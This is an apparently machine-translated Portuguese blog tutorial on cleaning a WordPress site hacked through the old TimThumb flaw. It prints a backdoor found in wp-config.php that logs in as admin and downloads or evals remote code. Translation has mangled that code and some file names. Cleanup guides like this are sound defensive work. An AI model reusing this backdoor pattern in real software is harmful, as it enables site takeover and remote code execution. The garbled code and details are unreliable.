Como corrigir e limpar o TimThumb Hack no WordPress

Então, se você se lembrar corretamente, houve um problema de segurança com o script TimThumb em agosto, que foi corrigido. Entretanto, para nossa surpresa, muitos sites ainda estão usando a versão antiga. Nós reparamos três sites até o momento no mês passado, um sendo ontem. Então, faz sentido simplesmente escrever um artigo passo a passo, então nossos usuários podem apenas segui-lo. Todos os três usuários que corrigimos essa questão nem sabia o que TimThumb era ou se eles estavam usando ou não.

TimThumb é um script PHP que redimensiona as imagens. Houve uma vulnerabilidade nele, mas é SEGURO usar agora.

Então, como você sabe que seu site é pirateado? Se você vir uma tela vermelha grande em seu navegador quando visitar seu site:

Algo não está certo aqui

Se você começar a ser bombardeado com e-mails sobre usuários sendo redirecionados do seu site. Provavelmente, o caso é que seu site foi vítima dessa exploração.

Como medida pró-cautela, todos devem usar este Scanner de Vulnerabilidade Timthumb. Isso irá dizer se você está usando a versão mais antiga do TimThumb. Muitos clubes temáticos atualizaram seu núcleo imediatamente. Então este plugin verificará se a nova versão segura do Timthumb está instalada ou uma versão mais antiga está instalada.

Agora, se seu site já está preso a esta explicação Timthumb, então aqui está o que você precisa fazer.

Primeiro você precisa excluir os seguintes arquivos:

/wp-admin/upd.php
 /wp-content/upd.php 

Faça login no painel de administração do WordPress e reinstale sua versão do WordPress. Estamos especificamente procurando reinstalar esses arquivos:

/wp-settings.php
 /wp-includes/js/jquery/jquery.js
 /wp-includes/js/110n.js 

Então abra seu wp-config.php onde você provavelmente encontrará este código de malware grande que está coletando credenciais de login e cookies. Este código será em direção ao fundo.

se (isset ($ _ GET ['pingnow']) && isset ($ _ GET ['pass'])) {
 se ($ _GET ['pass'] == '19ca14e7ea6328a42e0eb13d585e4c22') {
 se ($ _GET ['pingnow'] == 'login') {
 $ user_login = 'admin';
 $ user = get_userdatabylogin ($ user_login);
 $ user_id = $ user-> ID;
 wp_set_current_user ($ user_id, $ user_login);
 wp_set_auth_cookie ($ user_id);
 do_action ('wp_login', $ user_login);
 }
 se (($ _GET ['pingnow'] == 'exec') && (isset ($ _ GET ['file']))) {
 $ ch = curl_init ($ _ GET ['file']);
 $ fnm = md5 (rand (0,100)). '. php';
 $ fp = fopen ($ fnm, "w");
 curl_setopt ($ ch, CURLOPT_FILE, $ fp);
 curl_setopt ($ ch, CURLOPT_HEADER, 0);
 curl_setopt ($ ch, CURLOPT_TIMEOUT, 5);
 curl_exec ($ ch);
 curl_close ($ ch);
 fclose ($ fp);
 eco "";
 }
 se (($ _GET ['pingnow'] == 'eval') && (isset ($ _ GET ['file']))) {
 $ ch = curl_init ($ _ GET ['file']);
 curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, true);
 curl_setopt ($ ch, CURLOPT_HEADER, 0);
 curl_setopt ($ ch, CURLOPT_TIMEOUT, 5);
 $ re = curl_exec ($ ch);
 curl_close ($ ch);
 eval ($ re);
 }}} 

Na pasta do seu tema, procure por qualquer lugar onde o script TimThumb possa armazenar os arquivos em cache. Geralmente eles estão nesta estrutura:

/wp-content/themes/themename/scripts/cache/external_{MD5Hash}.php
 /wp-content/themes/themename/temp/cache/external_{MD5Hash}.php 

Exclua tudo que se pareça com isto. Se você não tem certeza sobre as coisas, exclua tudo o que não é um arquivo de imagem.

A próxima coisa que você quer fazer é substituir timthumb.php pela última versão que pode ser encontrada em http://timthumb.googlecode.com/svn/trunk/timthumb.php

Agora, seria uma boa idéia mudar suas senhas começando com suas informações de login do MySQL para suas informações de login do WordPress. Não se esqueça de alterar a senha do MySQL no wp-config.php ou você terá a tela “Erro que estabelece conexão”.

Mude as chaves secretas no seu arquivo wp-config.php. Você pode gerar uma nova chave acessando o gerador online.

Agora você está pronto. Não esqueça de esvaziar todos os plugins de cache de página. Como medida cautelosa, é bom limpar o cache e os cookies do seu navegador.

Para desenvolvedores, tente usar o recurso Tamanho de imagem adicional no WordPress para substituir as funcionalidades de Timthumb.

Deixe-nos saber se você precisa de mais assistência usando nosso formulário de contato.